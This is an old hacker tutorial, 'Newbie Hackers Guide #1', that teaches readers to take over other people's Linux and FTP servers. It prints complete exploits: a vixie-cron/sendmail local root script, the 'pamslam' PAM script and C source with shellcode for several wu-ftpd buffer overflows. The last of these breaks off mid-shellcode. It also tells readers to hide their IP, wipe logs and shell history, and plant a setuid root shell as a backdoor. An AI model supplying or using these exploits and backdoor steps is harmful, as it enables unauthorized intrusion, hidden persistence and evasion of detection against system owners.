===================================== Newbie Hackers Guide #1 Author: command (command@securologix.com) Rls Date: 10/28/2000 Rls Site: http://www.securologix.com ===================================== Table Of Contents: --------------------- 1) Introduction 2) Welcome to the world of Hacking 3) Local rooting 4) Remote Rooting 5) DNS 6) Hiding your host 7) Defacing 8) Hacker Resources --------------------- 1. Introduction Welcome yo. This is my first tutorial or Hacker Resource i ever wrote so dont come annoying me that my shit sux. First off, greetz to ADM, El8, wkD, LSD, w00w00, ShadowPenguin and all you hax0rs out there, just keep on doin what you do best! Shoutz to: skrilla, paint, blazin, sLash^, Necrose, serinal, c6d, ka0x, feared, zc, Trinity`, rm\, waq, pir8monky, le0pard, nint, glac, roots, reptex, Alyssa. And all you other peeps i forgot to mention. Let's get on with it! 2. Welcome to the world of Hacking. There are a few rules you need to know before you start anything. 1) Keep your roots to yourself, other people have a tendency to want to own shit you paste in a channel. 2) NEVER telnet with your real IP. 3) If you get caught and are subjected to a trial, keep your mouth shut about anything you have done, or else, you get in more shit. 4) Always clear logs and always delete .bash_history from your folder before you exit a shell. 5) When you do shit to a shell, such as.. DESTROYING IT, think about if you were running linux on your own machine and someone else hacked it and ruined all your data you worked years on creating. Now that you know the rules, lets get on with this shit. 3. Local Rooting Let's start with some easy local owning. I'm only going to talk about Red Hat here because it's the easiest shit to own. Start with Red Hat, and when you're done with that, move on to another Operating system such as SunOS, Slackware etc.. If you have no home directory on a shell, your regular login should look like: bash$ or else, it should look like: [user@host /directory]$ A good hint on knowing whether you are a root administrator or a regular user is the dollar sign $ which means you are a regular user. Another way is to simply type a command in the shell prompt: [command@localhost command]$ whoami command [command@localhost command]$ So here i am command, NOT root. [root@localhost /root]# whoami root [root@localhost /root]# Here i am root, i have full access to all files on the system. Ok, let's try a simple local rooting which most people use on Red Hat machines. [command@localhost command]$ ls /usr/bin/crontab /usr/bin/crontab [command@localhost command]$ Ok, so the machine is running Crontab so we can use a crontab exploit to own it. ---- CUT HERE ---- #!/bin/sh clear echo '------------------------------------------------------------------' echo 'Marchew Hyperreal Industries ' echo 'Stumilowy Las Team <100milowy@gdynia.ids.pl>' echo '---------------------------- presents ----------------------------' echo echo ' -= vixie-cron root sploit by Michal Zalewski =-' echo echo '[+] Checking dependencies:' echo -n ' [*] vixie crontab: ' if [ -u /usr/bin/crontab -a -x /usr/bin/crontab ]; then echo "OK" else echo "NOT FOUND!" exit 1 fi echo -n ' [*] Berkeley Sendmail: ' if [ -f /usr/sbin/sendmail ]; then echo "OK" else echo "NOT FOUND!" exit 1 fi echo -n ' [*] gcc compiler: ' if [ -x /usr/bin/gcc ]; then echo "OK" else echo "NOT FOUND!" exit 1 fi echo ' [?] Dependiences not verified:' echo ' [*] proper version of vixie crontab' echo ' [*] writable /tmp without noexec/nosuid option' echo '[+] Exploit started.' echo "[+] Setting up .cf file for sendmail..." cat >/tmp/vixie-cf <<__eof__ V7/Berkeley O QueueDirectory=/tmp O DefaultUser=0:0 R$+ \$#local $: \$1 regular local names Mlocal, P=/tmp/vixie-root, F=lsDFMAw5:/|@qSPfhn9, S=10/30, R=20/40, T=DNS/RFC822/X-Unix, A=vixie-root __eof__ echo '[+] Setting up phase #1 tool (phase #2 tool compiler)...' cat >/tmp/vixie-root <<__eof__ #!/bin/sh gcc /tmp/vixie-own3d.c -o /tmp/vixie-own3d chmod 6755 /tmp/vixie-own3d __eof__ chmod 755 /tmp/vixie-root echo '[+] Setting up phase #2 tool (rootshell launcher)...' cat >/tmp/vixie-own3d.c <<__eof__ main() { setuid(0); setgid(0); unlink("/tmp/vixie-own3d"); execl("/bin/sh","sh","-i",0); } __eof__ echo '[+] Putting evil crontab entry...' crontab - <<__eof__ MAILTO='-C/tmp/vixie-cf dupek' * * * * * nonexist __eof__ echo '[+] Patience is a virtue... Wait up to 60 seconds.' ILE=0 echo -n '[+] Tick.' while [ $ILE -lt 50 ]; do sleep 2 let ILE=ILE+1 test -f /tmp/vixie-own3d && ILE=1000 echo -n '.' done echo echo '[+] Huh, done. Removing crontab entry...' crontab -r echo '[+] Removing helper files...' rm -f /tmp/vixie-own3d.c /tmp/vixie-root /tmp/vixie-cf /tmp/df* /tmp/qf* &>/dev/null echo '[*] And now...' if [ -f /tmp/vixie-own3d ]; then echo '[+] Entering root shell, babe :)' echo /tmp/vixie-own3d echo else echo '[-] Oops, no root shell found, patched system or configuration problem :(' fi echo '[*] Exploit done.' --- CUT HERE --- Copy all that code and in your shell, type: [command@localhost command]$ pico root.sh It will give you a different screen where you can paste this to. Press Edit -> Paste on your TELNET Session. When it is done pasting, press CTRL + X and when it prompts to exit, type Y and press enter to save the file as root.sh To execute this file, type: [command@localhost command]$ sh root.sh If successful, you should end up with bash# or: [root@localhost command]# To check if your eyes deceive you, or that you REALLY have admin access, type whoami in the shell prompt and see if it returns root. If so, then you have successfully owned your first shell!! Don't get too excited, the work isnt done. You want to have admin access every time you log in, so i suggest doing this first: [root@localhost command]# passwd adm Changing password for user adm New UNIX password: You want to change the password for user: adm because that is one the admin will probably never figure out. Change it to the password you want. NOTE: It will not show on the screen when you type. Now that you have changed his password, you have a REGULAR user ready for your usage on the machine... NOT an admin user. You want an admin user. Usually, you would: /usr/sbin/useradd -u 0 user But don't do that. The administrator would probably check his password files every once in a while and notice that a new entry is in that HE didnt put in! And thus notice someone hacked his box. So, instead, copy your shell prompt (/bin/sh) to a new file. What this will do is copy your shell prompt as root/admin into another file that you want. [root@localhost command]# cp /bin/sh /bin/file You can replace "file" in /bin/file with anything you want. But don't make it something the admin would suspect is not supposed to be there. Next, you want to make this file accessible by anyone so that when you log in as a regular user, you can run it too. So type: [root@localhost command]# chmod a+s /bin/file Now it is accessible by anyone. To test what you have done, re-login to the shell and for user, type adm and for password, the password you supplied for adm. You will enter the shell as user adm who is a regular user. Now type load and you are admin. Another way to own a box through local is to hack PAM pam_start. Use this exploit: --- CUT HERE --- #!/bin/sh # # pamslam - vulnerability in Redhat Linux 6.1 and PAM pam_start # found by dildog@l0pht.com # # synopsis: # both 'pam' and 'userhelper' (a setuid binary that comes with the # 'usermode-1.15' rpm) follow .. paths. Since pam_start calls down to # _pam_add_handler(), we can get it to dlopen any file on disk. 'userhelper' # being setuid means we can get root. # # fix: # No fuckin idea for a good fix. Get rid of the .. paths in userhelper # for a quick fix. Remember 'strcat' isn't a very good way of confining # a path to a particular subdirectory. # # props to my mommy and daddy, cuz they made me drink my milk. cat > _pamslam.c << EOF #include #include #include void _init(void) { setuid(geteuid()); system("/bin/sh"); } EOF echo -n . echo -e auth\\trequired\\t$PWD/_pamslam.so > _pamslam.conf chmod 755 _pamslam.conf echo -n . gcc -fPIC -o _pamslam.o -c _pamslam.c echo -n o ld -shared -o _pamslam.so _pamslam.o echo -n o chmod 755 _pamslam.so echo -n O rm _pamslam.c rm _pamslam.o echo O /usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf sleep 1s rm _pamslam.so rm _pamslam.conf --- CUT HERE --- Remember, use the pico command again, save it as pamslam.sh and type: [command@localhost command]$ sh pamslam.sh If successful, you will get bash# or [root@localhost /root]# Use the same way as before to add a root user etc.. Many local exploits exist, you just have to know where to find them. Try http://packetstorm.securify.com or http://neworder.box.sk Ok, now on to remote rooting: 4. Remote Rooting This is harder since you have NO access at all to the shell you want to own and basically the only way you can own remotely is going though open ports on a system. You can scan the host with a port scanner such as nmap (www.insecure.org) and find open ports that you might be able to exploit (Such as 110). Rooting Via FTP. Most and almost all shells run an ftp server also. Some of which can be exploited by remote exploits. The following are vulnerable: wuftp2.4.2academ beta 12-18 wuftpd2.5.0 wuftpd2.6.0(1) proftpd-1.2.0pre1 proftpd-1.2.0pre2 proftpd-1.2.0pre3 To compile a .c file, you can use a gcc compiler which comes already installed with a shell. Syntax: [command@localhost command]$ gcc -o file file.c Then to run the compiled file, you type [command@localhost command]$ ./file The following are .c files that are exploits to gain root access via FTP. --- CUT HERE (wuftp2.4.2academ beta 12--18) --- /* * Remote/local exploit for wu-ftpd [12] through [18] * gcc w00f.c -o w00f -Wall -O2 * * Offsets/padding may need to be changed, depending on remote daemon * compilation options. Try offsets -5000 to 5000 in increments of 100. * * Note: you need to use -t >0 for -any- version lower than 18. * Coded by smiler and cossack * * wuftp2.4.2academ beta 12-18 exploit * * Mixter (mixter@MIXTER.ORG) * Sat, 1 May 1999 21:59:50 +0200 * * this works on a lot of wu-ftpd`s * also uses other commands than MKD to * exploit realpath() overflow * */ #include #include #include #include #include #include #include #include #include #include #include /* In a beta[12-17] shellcode_A overflow, we will not see responses to our commands. Add option -c (use chroot code) to fix this. */ unsigned char hellcode_a[]= "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x2c\x5b\x89\xd9\x80\xc1\x06\x39\xd9\x7c\x07\x80\x01\x20" "\xfe\xc9\xeb\xf5\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c" "\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd" "\x80\xe8\xcf\xff\xff\xff\xff\xff\xff" "\x0f\x42\x49\x4e\x0f\x53\x48"; unsigned char hellcode_b[]= "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39\xf3\x7c\x07\x80" "\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46" "\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e" "\x31\xc9\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31" "\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80\x31\xc0\x88\x46\x03" "\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09\x89" "\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d" "\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80" "\xe8\x95\xff\xff\xff\xff\xff\xff\x43\x43\x30\x30\x31" "\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a"; char *Fgets(char *s,int size,FILE *stream); int ftp_command(char *buf,int success,FILE *out,char *fmt,...); int double_up(unsigned long blah,char *doh); int resolv(char *hostname,struct in_addr *addr); void fatal(char *string); int usage(char *program); int tcp_connect(struct in_addr host,unsigned short port); int parse_pwd(char *in,int *pwdlen); void RunShell(int thesock); struct type { unsigned long ret_address; unsigned char align; /* Use this only to offset \xff's used */ signed short pad_shift; /* how little/much padding */ unsigned char overflow_type; /* whether you have to DELE */ char *name; }; /* ret_pos is the same for all types of overflows, you only have to change the padding. This makes it neater, and gives the shellcode plenty of room for nops etc */ #define RET_POS 190 #define FTPROOT "/home/ftp" /* the redhat 5.0 exploit doesn't work at the moment...it must be some trite error i am overlooking. (the shellcode exits w/ code 0375) */ struct type types[]= { { 0xbffff340, 3, 60, 0, "BETA-18 (redhat 5.2)", }, { 0xbfffe30e, 3,-28, 1, "BETA-16 (redhat 5.1)", }, { 0xb2ffe356, 3,-28, 1, "BETA-15 (redhat 5.0)", }, { 0xbfffebc5, 3, 0, 1, "BETA-15 (slackware 3.3)", }, { 0xbffff3b3, 3, 0, 1, "BETA-15 (slackware 3.4)", }, { 0xbffff395, 3, 0, 1, "BETA-15 (slackware 3.6)", }, { 0,0,0,0,NULL } }; struct options { char start_dir[20]; unsigned char *shellcode; unsigned char chroot; char username[10]; char password[10]; int offset; int t; } opts; /* Bit of a big messy function, but hey, its only an exploit */ int main(int argc,char **argv) { char *argv0,ltr; char outbuf[1024], inbuf[1024], ret_string[5]; int pwdlen,ctr,d; FILE *cin; int fd; struct in_addr victim; argv0 = strdup(argv[0]); *opts.username = *opts.password = *opts.start_dir = 0; opts.chroot = opts.offset = opts.t = 0; opts.shellcode = hellcode_a; while ((d = getopt(argc,argv,"cs:o:t:"))!= -1) { switch (d) { case 'c': opts.shellcode = hellcode_b; opts.chroot = 1; break; case 's': strcpy(opts.start_dir,optarg); break; case 'o': opts.offset = atoi(optarg); break; case 't': opts.t = atoi(optarg); if ((opts.t < 0)||(opts.t>5)) { printf("Dont have that type!\n"); exit(-1); } } } argc -= optind; argv += optind; if (argc < 3) usage(argv0); if (!resolv(argv[0],&victim)) { perror("resolving"); exit(-1); } strcpy(opts.username,argv[1]); strcpy(opts.password,argv[2]); if ((fd = tcp_connect(victim,21)) < 0) { perror("connect"); exit(-1); } if (!(cin = fdopen(fd,"r"))) { printf("Couldn't get stream\n"); exit(-1); } Fgets(inbuf,sizeof(inbuf),cin); printf("%s",inbuf); if (ftp_command(inbuf,331,cin,"USER %s\n",opts.username)<0) fatal("Bad username\n"); if (ftp_command(inbuf,230,cin,"PASS %s\n",opts.password)<0) fatal("Bad password\n"); if (*opts.start_dir) if (ftp_command(inbuf,250,cin,"CWD %s\n",opts.start_dir)<0) fatal("Couldn't change dir\n"); if (ftp_command(inbuf,257,cin,"PWD\n")<0) fatal("PWD\n"); if (parse_pwd(inbuf,&pwdlen) < 0) fatal("PWD\n"); srand(time(NULL)); printf("Making padding directorys\n"); for (ctr = 0;ctr < 4;ctr++) { ltr = rand()%26 + 65; memset(outbuf,ltr,194); outbuf[194]=0; if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0) fatal("MKD\n"); if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0) fatal("CWD\n"); } /* Make padding directory */ ctr = 124 - (pwdlen - types[opts.t].align);//180 //ctr = 152 - (pwdlen - types[opts.t].align); ctr -= types[opts.t].pad_shift; if (ctr < 0) { exit(-1); } memset(outbuf,'A',ctr+1); outbuf[ctr] = 0; if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0) fatal("MKD\n"); if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0) fatal("CWD\n"); memset(outbuf,0x90,195); d=0; for (ctr = RET_POS-strlen(opts.shellcode);ctr<(RET_POS);ctr++) outbuf[ctr] = opts.shellcode[d++]; double_up(types[opts.t].ret_address-opts.offset,ret_string); strcpy(outbuf+RET_POS,ret_string); strcpy(outbuf+RET_POS+strlen(ret_string),ret_string); printf("Press any key to send shellcode...\n"); getchar(); if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0) fatal("MKD\n"); if (types[opts.t].overflow_type == 1) if (ftp_command(inbuf,250,cin,"DELE %s\n",outbuf)<0) fatal("DELE\n"); /* HEH. For type 1 style we add a dele command. This overflow occurs in delete() in ftpd.c. The cause is realpath() in realpath.c not checking bounds correctly, overwriting path[] in delete(). */ RunShell(fd); return(1); } void RunShell(int thesock) { int n; char recvbuf[1024]; fd_set rset; while (1) { FD_ZERO(&rset); FD_SET(thesock,&rset); FD_SET(STDIN_FILENO,&rset); select(thesock+1,&rset,NULL,NULL,NULL); if (FD_ISSET(thesock,&rset)) { n=read(thesock,recvbuf,1024); if (n <= 0) { printf("Connection closed\n"); exit(0); } recvbuf[n]=0; printf("%s",recvbuf); } if (FD_ISSET(STDIN_FILENO,&rset)) { n=read(STDIN_FILENO,recvbuf,1024); if (n>0) { recvbuf[n]=0; write(thesock,recvbuf,n); } } } return; } int double_up(unsigned long blah, char *doh) { int a; unsigned char *ptr,*ptr2; bzero(doh,6); ptr=doh; ptr2=(char *)&blah; for (a=0;a<4;a++) { *ptr++=*ptr2; if (*ptr2==0xff) *ptr++=0xff; ptr2++; } return(1); } int parse_pwd(char *in, int *pwdlen) { char *ptr1,*ptr2; /* 257 "/" is current directory */ ptr1 = strchr(in,'\"'); if (!ptr1) return(-1); ptr2 = strchr(ptr1+1,'\"'); if (!ptr2) return(-1); *ptr2 = 0; *pwdlen = strlen(ptr1+1); /* If its just "/" then it contributes nothing to the RET_POS */ if (*pwdlen==1) *pwdlen -= 1; printf("Home Dir = %s, Len = %d\n",ptr1+1,*pwdlen); return(1); } int tcp_connect(struct in_addr host,unsigned short port) { struct sockaddr_in serv; int fd; fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bzero(&serv,sizeof(serv)); memcpy(&serv.sin_addr,&host,sizeof(struct in_addr)); serv.sin_port = htons(port); serv.sin_family = AF_INET; if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0) { return(-1); } return(fd); } int ftp_command(char *buf,int success,FILE *out,char *fmt,...) { va_list va; char line[1200]; int val; va_start(va,fmt); vsprintf(line,fmt,va); va_end(va); if (write(fileno(out),line,strlen(line)) < 0) return(-1); bzero(buf,200); while(1) { Fgets(line,sizeof(line),out); #ifdef DEBUG printf("%s",line); #endif if (*(line+3)!='-') break; } strncpy(buf,line,200); val = atoi(line); if (success != val) return(-1); return(1); } void fatal(char *string) { printf("%s",string); exit(-1); } char *Fgets(char *s,int size,FILE *stream) { char *ptr; ptr = fgets(s,size,stream); //if (!ptr) //fatal("Disconnected\n"); return(ptr); } int resolv(char *hostname,struct in_addr *addr) { struct hostent *res; if (inet_aton(hostname,addr)) return(1); res = gethostbyname(hostname); if (res == NULL) return(0); memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr)); return(1); } int usage(char *program) { fprintf(stderr,"Usage: %s [-c] [-s start_dir]\n",program); fprintf(stderr,"\t[-o offset] [-t type]\n"); fprintf(stderr,"types:\n"); fprintf(stderr,"0 - %s\n", types[0].name); fprintf(stderr,"1 - %s\n", types[1].name); fprintf(stderr,"2 - %s\n", types[2].name); fprintf(stderr,"3 - %s\n", types[3].name); fprintf(stderr,"4 - %s\n", types[4].name); fprintf(stderr,"5 - %s\n", types[5].name); fprintf(stderr,"\n"); exit(0); } --- CUT HERE --- --- CUT HERE (wuftpd 2.5.0) --- /* * (Yet another) WU-FTPd 2.5.0 exploit * Searches for writable path and overflows * * (c) 1999 Mixter * http://members.tripod.com/mixtersecurity * * Target platforms: RedHat5 / RedHat6 / Debian Linux */ #define PADDING 15 /* buffer size / 255 - hint, this can vary */ // #define PADDING 8 /* try this for debian */ // #define PADDING 2 /* redhat 5.2 source compilation */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define FTPPORT 21 #define sockw(x) write(fd,x,strlen(x)); int port (int, char *); int eval_list (char *); char path[1024]; char path2[2048]; static char *hellcode1 = "\x01\xfe\xff\xff\xbf\x45\x04\x0b\x08\x31\xc0\x31\xdb\x31" "\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb" "\x6b\x90\x90\x5e\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01" "\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d" "\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80" "\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e" "\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01" "\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31" "\x2e\x2e\x31\x31\x42\x69\x42\x69\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xe4\x8a\x0c" "\x08\x20\x20\x20\x20\x2c\x05\x0b\x08\x0b\x8b\x0c\x08\x0a"; static char *hellcode2 = "\x01\xfe\xff\xff\xbf\x45\x04\x0b\x08\x31\xc0\x31\xdb\x31" "\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb" "\x6b\x90\x90\x5e\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01" "\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d" "\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80" "\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e" "\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01" "\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31" "\x2e\x2e\x31\x31\x42\x69\x42\x69\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xe4\x8a\x0c" "\x08\x20\x20\x20\x20\x2c\x05\x0b\x08\x01\x8b\x0c\x08\x0a"; void usage (char *arg) { printf ("wu25 writable path exploit by Mixter \n"); printf ("usage: %s [user] [pass]\n", arg); exit (0); } int ftptest (int fd, char *us3r, char *p4ss) { char buff[1024]; u_int nl = sizeof (struct sockaddr_in); FILE *fp; struct sockaddr_in sock; struct sockaddr_in s; getpeername (fd, (struct sockaddr *) &sock, &nl); fp = fdopen (fd, "r"); sockw (us3r); sockw (p4ss); do { if (fgets (buff, sizeof (buff), fp) == NULL) break; switch (atoi (strtok (buff, " "))) { case 530: fclose (fp); return (0); break; case 230: getsockname (fd, (struct sockaddr *) &s, &nl); if (port (fd, inet_ntoa (s.sin_addr))) return (1); break; } } while (atoi (strtok (buff, " ")) != 230); fclose (fp); return (0); } int port (int fd, char *h) { int i, sockfd, new_fd; u_int sl = sizeof (struct sockaddr_in); struct sockaddr_in my_addr; struct sockaddr_in s; struct sockaddr_in their_addr; FILE *fp; char h2[1024]; if ((sockfd = socket (PF_INET, SOCK_STREAM, IPPROTO_IP)) == -1) { return (0); } bzero (&(my_addr.sin_zero), 8); my_addr.sin_family = AF_INET; my_addr.sin_port = 0; my_addr.sin_addr.s_addr = INADDR_ANY; if (bind (sockfd, (struct sockaddr *) &my_addr, sizeof (struct sockaddr)) == -1) { return (0); } if (listen (sockfd, 1) == -1) { return (0); } getsockname (sockfd, (struct sockaddr *) &s, &sl); for (i = 0; i != (int) strlen (h); i++) if (h[i] == '.') h[i] = ','; for (i = 4; htons (i + 1) < ntohs (s.sin_port); i++); snprintf (h2, sizeof (h2), "PORT %s,%d,%d\r\n", h, i, ntohs (s.sin_port) - htons (i)); sockw (h2); sockw ("LIST -lAR\r\n"); if ((new_fd = accept (sockfd, (struct sockaddr *) &their_addr, &sl)) == -1) { return (-1); } fp = fdopen (new_fd, "r"); if (!fp) { return (0); } while (fgets (h2, sizeof (h2), fp) != NULL) { if (eval_list (h2)) return (1); } sockw ("QUIT\r\n"); close (sockfd); return (0); } int eval_list (char *l) { char *tmp, *m; tmp = l + strlen (l); while (*(--tmp) != ' '); tmp++; m = strtok (l, " "); if (m[strlen (m) - 3] == ':') { snprintf (path, sizeof (path), "%s", strtok (m, ":")); } snprintf (path2, sizeof (path2), "%s/%s", path, tmp); if (m[0] != 'd') return (0); if (m[strlen (m) - 2] == 'w' && m[strlen (m) - 3] == 'r') { memset (path, 0, 1024); if (path2[0] == '/') sprintf(path, "/%s", path2); else sprintf(path, "%s", path2); return (1); } return (0); } void termio (int p, int c) { char buf[1024]; fd_set rfds; int i; while (1) { FD_ZERO (&rfds); FD_SET (p, &rfds); FD_SET (c, &rfds); if (select ((p > c ? p : c) + 1, &rfds, NULL, NULL, NULL) < 1) return; if (FD_ISSET (c, &rfds)) { if ((i = read (c, buf, sizeof (buf))) < 1) return; write (p, buf, i); } if (FD_ISSET (p, &rfds)) { if ((i = read (p, buf, sizeof (buf))) < 1) return; write (c, buf, i); } } } u_long resolve (char *host) { struct hostent *he; struct sockaddr_in tmp; if (inet_addr (host) != -1) return (inet_addr (host)); he = gethostbyname (host); if (he) { memcpy ((caddr_t) & tmp.sin_addr.s_addr, he->h_addr, he->h_length); return (tmp.sin_addr.s_addr); } return (0); } int main (int argc, char **argv) { char user[30], pass[30]; struct sockaddr_in target; int fd = socket (AF_INET, SOCK_STREAM, 0), c; char ugly_a[256]; memset (ugly_a, 0x90, 256); ugly_a[255] = '\0'; if (argc < 2) usage (argv[0]); if (argc > 2) { if (argc == 3) usage (argv[0]); snprintf (user, 30, "USER %s\r\n", argv[2]); snprintf (pass, 30, "PASS %s\r\n", argv[3]); } else { snprintf (user, 30, "USER anonymous\r\n"); snprintf (pass, 30, "PASS anonymous@\r\n"); } target.sin_family = AF_INET; target.sin_port = htons (FTPPORT); target.sin_addr.s_addr = resolve (argv[1]); if (target.sin_addr.s_addr == 0) usage (argv[0]); c = connect (fd, (struct sockaddr *) &target, sizeof (struct sockaddr)); if (c < 0) { printf ("Connection error: %s\n", strerror (errno)); exit (0); } printf ("Connected to %s: ", argv[1]); read (fd, path, 1024); printf ("%s\nScanning for writeable directory... ", path); fflush (0); sleep (1); if (!ftptest (fd, user, pass)) { printf ("nope.\n"); exit (0); } printf ("found at: %s\n", path); printf ("Overflowing stack... "); snprintf (path2, 1024, "CWD %s\n", path); sockw (path2); sleep (1); snprintf (path2, 1024, "MKD %s\nCWD %s\n", ugly_a, ugly_a); for (c = 0; c < PADDING; c++) sockw (path2); sleep (1); sockw ("MKD "); sockw (hellcode1); sockw ("CWD "); sockw (hellcode1); sleep (1); sockw ("MKD "); sockw (hellcode2); sockw ("CWD "); sockw (hellcode2); printf("Overflow sent...\n"); dup2 (0, 0); dup2 (1, 0); dup2 (2, 0); termio(0,fd); return (0); } --- CUT HERE --- --- CUT HERE (wuftpd2.6.0(1)) --- /* h0h0 aye-dee-emm's 0d4y w4r3z 1z unbr0k3n f0r y0u p30pl3 n0w */ /* * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999 * * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT * by tf8 * * *NOTE*: For ethical reasons, only an exploit for 2.6.0 will be * released (2.6.0 is the most popular version nowadays), and it * should suffice to proof this vulnerability concept. * * Site exec was never really *fixed* * * Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit, * \x90, venglin, xz, MYT and lamagra. * Also greetings go to the WU-FTPD development team for including this * bug in ALL their versions. * * Fuck to wuuru (he is an idiot) * * Account is not required, anonymous access is enough :) * * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999 */ #include #include #include #include #include #include #include #include #include #include #include #include #ifdef __linux #include #endif #define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24) #define GREEN "\033[32m" #define RED "\033[31m" #define NORM "\033[0m" char infin_loop[]= /* for testing purposes */ "\xEB\xFE"; char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */ "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43" "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0" "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0" "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80" "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9" "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75" "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd" "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46" "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56" "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53" "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30" "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e" "\x67\x6c\x69\x6e"; char bsd_code_d[]= /* you should call it directly (no jump/call)*/ "\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C" "\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF" "\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8" "\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14" "\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11" "\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F" 